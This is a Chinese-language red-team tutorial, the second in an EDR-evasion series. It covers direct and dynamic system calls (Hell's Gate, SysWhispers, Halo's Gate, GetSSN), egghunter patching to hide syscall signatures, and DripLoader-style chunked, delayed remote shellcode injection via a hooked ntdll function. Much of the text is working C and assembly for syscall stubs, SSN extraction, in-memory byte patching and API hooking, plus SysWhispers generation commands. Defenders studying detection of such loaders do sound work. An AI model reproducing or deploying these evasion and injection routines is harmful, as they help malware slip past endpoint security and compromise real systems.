暂无简介
引言
本文是《红队开发基础-基础免杀》系列的第二篇文章,主要介绍了规避常见的恶意API调用模式及使用直接系统调用并规避“系统调用标记”两种手段,达到bypass edr的效果。
使用直接系统调用并规避“系统调用标记”
基础知识
系统核心态指的是R0,用户态指的是R3,系统代码在核心态下运行,用户代码在用户态下运行。系统中一共有四个权限级别,R1和R2运行设备驱动,R0到R3权限依次降低,R0和R3的权限分别为最高和最低。
在用户态运行的系统要控制系统时,或者要运行系统代码就必须取得R0权限。用户从R3到R0需要借助ntdll.dll中的函数,这些函数分别以“Nt”和“Zw”开头,这种函数叫做Native API,下图是调用过程:
这些nt开头的函数一般没有官方文档,很多都是被逆向或者泄露windows源码的方式流出的。
调用这些nt开头的函数,在《红队队开发基础-基础免杀(一)》中曾经通过在内存中找到函数的首地址的方式来实现:
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
反编译这段代码,就可以获取syscall最简单的形式:
即:
mov r10,rcx
mov eax,xxh
syscall
这里存储的是系统调用号,基于 eax 所存储的值的不同,syscall 进入内核调用的内核函数也不同
为什么使用syscall可以绕过edr?
我们可以看下图
用户调用windows api ReadFile,有些edr会hook ReadFile这个windows api,但实际上最终会调用到NTxxx这种函数。有些函数没有被edr hook就可以绕过。说白了还是通过黑名单机制的一种绕过。找到冷门的wdinwos api并找到对应的底层内核api。
sycall系统调用号文档:https://j00ru.vexillium.org/syscalls/nt/64/
写一个基础syscall
在vscode中开启asm支持:
右键asm文件,属性,修改为宏编译
这里需要注意 .asm文件不能和.cpp文件重名,否则会link报错。
接着根据msdn的官方文档定义函数:
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
之后调用函数即可:
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
使用visual studio查看反汇编代码:
工具->选项->启用地址级调试
在调试过程中,Debug->window->disassembly
可以看到最基础的汇编代码及字节码
动态进行syscall
我们很多时候使用syscall不是直接调用,不会在代码里硬编码syscall的系统调用号。因为不同的系统调用号是不同的,所以我们需要进行动态syscall。
Hell’s Gate:地狱之门
这个工具遍历NtDLL的导出表,根据函数名hash,找到函数的地址。接着使用0xb8获取到系统调用号,之后通过syscall来执行一系列函数。
通过TEB获取到dll的地址可以参考:获取DLL的基地址
解析pe结构,获取导出表
遍历hash表和导出表,找到syscall的函数,通过标记的方式获得系统调用号:
为什么匹配这几个字节就能找到syscall调用号呢?我们看这张图:
发现syscall对应的固定汇编语句为4C8BD1 -> mov r10, rcx B8XXXXXXXX -> move eax,xx 0f05 -> syscall
转化成内存数组即:
if (*((PBYTE)pFunctionAddress + cw) == 0x4c && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) { BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); pVxTableEntry->wSystemCall = (high << 8) | low; break; }
逐字节遍历,直到出现mov r10, rcx和move eax,经过位运算得到syscall调用号。
程序自动生成的syscall汇编代码:; Hell's Gate ; Dynamic system call invocation ; ; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) .data wSystemCall DWORD 000h .code HellsGate PROC mov wSystemCall, 000h mov wSystemCall, ecx ret HellsGate ENDP HellDescent PROC mov r10, rcx mov eax, wSystemCall syscall ret HellDescent ENDP end
SysWhispers2
SysWhispers2 是一个合集,用python生成.c源码文件。这些文件的作用和Hell’s Gate类似,也是在PE中找导出表,之后通过对比函数hash找到syscall调用号。相对Hell’s Gate有更多的函数可供选择,不仅仅是内存相关的几个函数。并且对syscall的asm有一定程度的混淆(使用了INT 2EH替换sycall)。Halo’s Gate
光环之门应对native api被hook的情况,syscall有一个32字节的存根,通过编译每32字节寻找没有被hook的native api,主要是这两个汇编函数实现:
主要还是根据syscall的特征字节码4C 8B D1 B8,在内存中原本native api在的位置向上向下每32个字节进行搜索。找到没有被HOOK的存根后获取其系统调用号再减去移动的步数,就是所要搜索的系统调用号。TartarusGate
TartarusGate主要是增加了对hook的判断,我们在下面的内容会提及hook的操作,一般有5字节和7字节hook。主要是JMP相对应的机器码E9的位置不同,通过判断函数开头第一个字节和第四个字节是否为E9可以大致判断是否被hook.ParallelSyscalls
该项目使用了接下来会在文章三种提及的技术,一言以蔽之就是恢复了被hook的ntdll之后再进行syscall。GetSSN
这个工具用了比较不同的思路,简单来说ssn(系统调用标记)实际上是从0开始的,只要我们获取到了所有的函数机器对应地址,通过地址进行排序,最终获得的标号顺序就是syscall id的顺序。int GetSSN() { std::map<int, string> Nt_Table; PBYTE ImageBase; PIMAGE_DOS_HEADER Dos = NULL; PIMAGE_NT_HEADERS Nt = NULL; PIMAGE_FILE_HEADER File = NULL; PIMAGE_OPTIONAL_HEADER Optional = NULL; PIMAGE_EXPORT_DIRECTORY ExportTable = NULL; PPEB Peb = (PPEB)__readgsqword(0x60); PLDR_MODULE pLoadModule; // NTDLL pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); ImageBase = (PBYTE)pLoadModule->BaseAddress; Dos = (PIMAGE_DOS_HEADER)ImageBase; if (Dos->e_magic != IMAGE_DOS_SIGNATURE) return 1; Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew); File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD))); Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER)); ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress); PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions)); PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames); PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals); for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++) { PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]); PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; if (strncmp((char*)pczFunctionName, "Zw",2) == 0) { printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress); Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName; } } int index = 0; for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) { cout << "index:" << index << ' ' << iter->second << endl; index += 1; } }
弱化syscall的特征
主要内容来自原文SysWhispers is dead, long live SysWhispers!
使用int 2EH
syscall特征非常明显,静态特征就很容易被识别到:
针对这种情况,在SysWhispers2中就有所改良,如图:
找到了一种int 2EH替代syscall的办法,但随着攻防对抗的提升,该方法已经被检测。
egghunter
这里采用了egghunter的技术,先用彩蛋(一些随机的、唯一的、可识别的模式)替换syscall指令,然后在运行时,再在内存中搜索这个彩蛋,并使用ReadProcessMemory和WriteProcessMemory等WINAPI调用将其替换为syscall指令。之后,我们可以正常使用直接系统调用了。
关于egghunter的概念可以看fuzzysecurity的二进制入门教程。
我们在内存中使用db表示一个字节,比如我们在内存中.txt段写入"w00tw00t"的字节:
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003970B07h; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
ret
NtAllocateVirtualMemory ENDP
接下来要做的就是遍历程序内存,搜索这段彩蛋:
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
ULONG64 startAddress = 0;
ULONG64 size = 0;
GetMainModuleInformation(&startAddress, &size);
if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}
ULONG64 currentOffset = 0;
unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
size_t nBytesRead;
printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
while (currentOffset < size - 8)
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
if(DEBUG > 0){
printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory\n");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory\n");
continue;
}
if(DEBUG > 0){
for (int i = 0; i < nBytesRead; i++){
printf("%02x ", current[i]);
}
printf("\n");
}
if (memcmp(egg, current, 8) == 0)
{
printf("Found at %llu\n", (ULONG64)currentAddress);
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}
}
printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
free(current);
}
这样做虽然可以绕过静态的检测了但依旧存在问题,理论上syscall行为应该只存在ntdll中,而我们使用syscall是在当前程序中。简单的判断RIP就可以检测出我们的可疑行为。
常规调用流程:
恶意程序的调用流程:
针对RIP的检测,作者也给出了技术方案,还是比较简单的。在内存中搜索syscall的地址,直接jmp到该位置。即可让RIP指向ntdll。
SysWhispers3
上面提及的两种方法在SysWhispers3已经有所应用:
# Normal SysWhispers, 32-bits mode
py .\syswhispers.py --preset all -o syscalls_all -m jumper --arch x86
# Normal SysWhispers, using WOW64 in 32-bits mode (only specific functions)
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem --arch x86 --wow64
# Egg-Hunting SysWhispers, to bypass the "mark of the sycall" (common function)
py .\syswhispers.py --preset common -o syscalls_common -m jumper
# Jumping/Jumping Randomized SysWhispers, to bypass dynamic RIP validation (all functions) using MinGW as the compiler
py .\syswhispers.py --preset all -o syscalls_all -m jumper -c mingw
使用的时候遇到了坑:
起初一直以为是mov r10,rcx报错,后来发现是下一句报错..无法直接往内存写。不知道怎么解决,生成jumper是可以使用的:
python3 syswhispers.py -p common -a x64 -c msvc -m jumper -v -d -o 1
规避常见的恶意API调用模式
本文主要根据Bypassing EDR real-time injection detection logic这篇文章,对常规的内存写入行为进行了变化,混淆了一些带有机器学习特征的edr的检测,从而避免了报警。
基础知识
windows api hook
我们首先找到内存中需要被hook的函数地址:
LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);
找到后将前七个字节改为跳转,如下
unsigned char jmpSc[7]{
0xB8, b[0], b[1], b[2], b[3],
0xFF, 0xE0
};
机器码对应的汇编指令大概是
move eax,xxxx
jmp eax
修改这部分内存
WriteProcessMemory(
hProc,
lpDllExport,
jmpSc,
sizeof(jmpSc),
&szWritten
);
这样我们就实现了劫持对应函执行流程的功能。如果想要维持函数原本的功能,保存原本的七个字节,在shellcode中再次替换这部分内存并jump回来。
Windows 内存分配的一些规则
- 在windows 10 64位下,内存最小的分配粒度为4kB, systeminfo结构体中,标识了这个变量,为内存分页的大小。
在windows中,所有VirtualAllocEx分配的内存,会向上取整到AllocationGranularity的值,windows10下为64kb,比如:
我们在0x40000000的基址分配了4kB的MEM_COMMIT | MEM_RESERVE的内存,那么整块0x40010000 (64kB)区域将不能被重新分配。
实现原理
很多edr将创建远程线程的行为列为可疑行为,比如windows definder仅仅是做记录但并不报警,产生报警还有其他的判断逻辑,下图是atp的记录:
因此完全依赖于 ntdll!NtCreateThread(Ex) 是不准确的,正常的程序也可以调用这个api。
寻找报警和记录之间的差异,可以让我们实现edr的绕过。
作者基于几个操作对用户行为进行了混淆:
- 与其分配一大块内存并直接将~250KB的implant shellcode写入该内存,不如分配小块但连续的内存,例如<64KB的内存,并将其标记为NO_ACCESS。然后,将shellcode按照相应的块大小写入这些内存页中。
- 在上述的每一个操作之间引入延迟。这将增加执行shellcode所需的时间,但也会淡化连续执行模式。
- 使用钩子,劫持RtlpWow64CtxFromAmd64函数,执行恶意shellcode
DripLoader
搜索内存中,找到内存块属性为free的内存:
pre-define a list of 64-bit base addresses and VirtualQueryEx the target process to find the first region able to fit our shellcode blob
寻找合适的内存基址,cVmResv即shellode长度/内存块大小+1,即一共需要多少块内存。当确定的基址连续cVmResv块的内存都free,返回这个基址:
延时执行
确保内存可以被分配:
这里函数使用syscall调用,ANtAVM对应NtAllocateVirtualMemory:
确保内存不到64kb的,以4kb切片可以被分配
写入内存,以4bits每次写入:
获取函数地址后进行hook -> jmp到我们shellcode的首地址
创建进程,运行我们的shellcode
可以成功执行shellcode:
源码
本文实现的例子相关代码均进行了开源:EDR-Bypass-demo
参考文章
https://tttang.com/archive/1464/
https://github.com/am0nsec/HellsGate/
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
https://sonictk.github.io/asm_tutorial/
- 本文作者: 7bits安全团队
- 本文来源: 先知社区
- 原文链接: https://xz.aliyun.com/t/11496
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!